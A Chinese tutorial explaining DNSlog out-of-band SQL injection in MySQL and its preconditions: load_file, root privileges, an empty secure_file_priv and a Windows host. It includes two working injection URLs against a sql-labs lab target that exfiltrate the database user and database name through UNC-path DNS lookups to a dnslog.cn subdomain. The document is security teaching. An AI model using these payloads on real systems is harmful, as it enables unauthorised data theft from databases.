DNS log注入原理解析
核心:
將盲注轉(zhuǎn)換為顯錯注入
原理:
通常我們面對SQL注入過程中沒有回顯的情況下,只能通過盲注的方式來判斷是否存在SQL注入,但是,使用盲注,手工測試是需要花費大量的時間的,可能會想到使用sqlmap直接去跑出數(shù)據(jù),但在實際測試中,使用sqlmap跑盲注,有很大的幾率,網(wǎng)站把ip給封掉,這就影響了我們的測試進度,也許你也可以使用代理池
我們輸入域名之后 我們的本地域名服務(wù)器會把在自身服務(wù)器里面查詢是否存在ip地址 如果沒有則發(fā)送到根域名服務(wù)器 如果根域名服務(wù)器里面有對應(yīng)的記錄則返回 如果沒有則告訴本地域名服務(wù)器去向頂級域名服務(wù)器查找。

dns在解析的時候會留下記錄。
當(dāng)dns服務(wù)器是我們自己的時,我們就可以通過查看日志來查詢一些信息
什么是UNC?
UNC路徑就是類似\softer這樣的形式的網(wǎng)絡(luò)路徑。它符合 \servername\sharename 格式,其中 servername 是服務(wù)器名,sharename 是共享資源的名稱。

注入所需條件?
首先說明,dns帶外查詢屬于MySQL注入,在MySQL中有個系統(tǒng)屬性
secure_file_priv特性,有三種狀態(tài):
secure_file_priv為null 表示不允許導(dǎo)入導(dǎo)出 secure_file_priv指定文件夾時,表示mysql的導(dǎo)入導(dǎo)出只能發(fā)生在指定的文件夾 secure_file_priv沒有設(shè)置時,則表示沒有任何限制 可了解一下load_file和outfile
LOAD_FILE()函數(shù):LOAD_FILE()函數(shù)讀取一個文件并將其內(nèi)容作為字符串返回
語法為:load_file(file_name),其中file_name是文件的完整路徑
不管是布爾類型盲注還是時間盲注,都需要發(fā)送大量的數(shù)據(jù)包去判斷數(shù)據(jù),而這很可能會觸發(fā)WAF的防護,因此導(dǎo)致被封IP。所以,如果條件允許,我們可以結(jié)合DNSlog來快速的回顯數(shù)據(jù)。MySQL數(shù)據(jù)庫,通過DNSlog盲注需要用到 load_file() 函數(shù),該函數(shù)不僅能加載本地文件,同時也能對URL發(fā)起請求。因為需要使用 load_file() 函數(shù),所以需要root權(quán)限,并且 secure_file_priv 需要為空。并且服務(wù)器要為Windows操作系統(tǒng)。
注入語句:
# 查詢當(dāng)前用戶名
http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
# 查看當(dāng)前數(shù)據(jù)庫名
http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+到此這篇關(guān)于DNS log注入原理的文章就介紹到這了,更多相關(guān)DNS log注入原理內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Windows?Server?2019?DNS服務(wù)器的配置與管理之DNS正向解析
這篇文章主要介紹了Windows?Server?2019?DNS服務(wù)器的配置與管理之DNS正向解析,需要的朋友可以參考下2023-05-05
Windows Server 2019 DNS服務(wù)器的配置與管理之DNS子域委派
這篇文章主要介紹了Windows Server 2019 DNS服務(wù)器的配置與管理之DNS子域委派,需要的朋友可以參考下2023-05-05
從斷網(wǎng)事件分析DNS服務(wù)器拒絕服務(wù)攻擊
2009年5月19日21時50分開始,江蘇、安徽、廣西、海南、甘肅、浙江等6省用戶申告訪問網(wǎng)站速度變慢或無法訪問。主要表現(xiàn)為域名解析(DNS)響應(yīng)緩慢或者無法解析。直至5月22日事件才漸漸平息。2009-06-06
Windows?Server?2019?安裝架設(shè)DNS服務(wù)器
這篇文章主要介紹了Windows?Server?2019?DNS服務(wù)器的配置與管理之安裝DNS服務(wù),需要的朋友可以參考下2023-05-05
win2003 使用DNS服務(wù)器實現(xiàn)負(fù)載均衡
訪問企業(yè)網(wǎng)服務(wù)器的用戶急劇增加,一臺服務(wù)器難以滿足用戶的訪問需要,那么如何才能保證用戶的正常訪問呢?2011-07-07
新網(wǎng)互聯(lián) 域名 泛解析設(shè)置方法
好多朋友需要使用泛解析,其實什么是泛解析,和泛解析有什么好處呢。大家看完這篇文章就知道了。2009-06-06

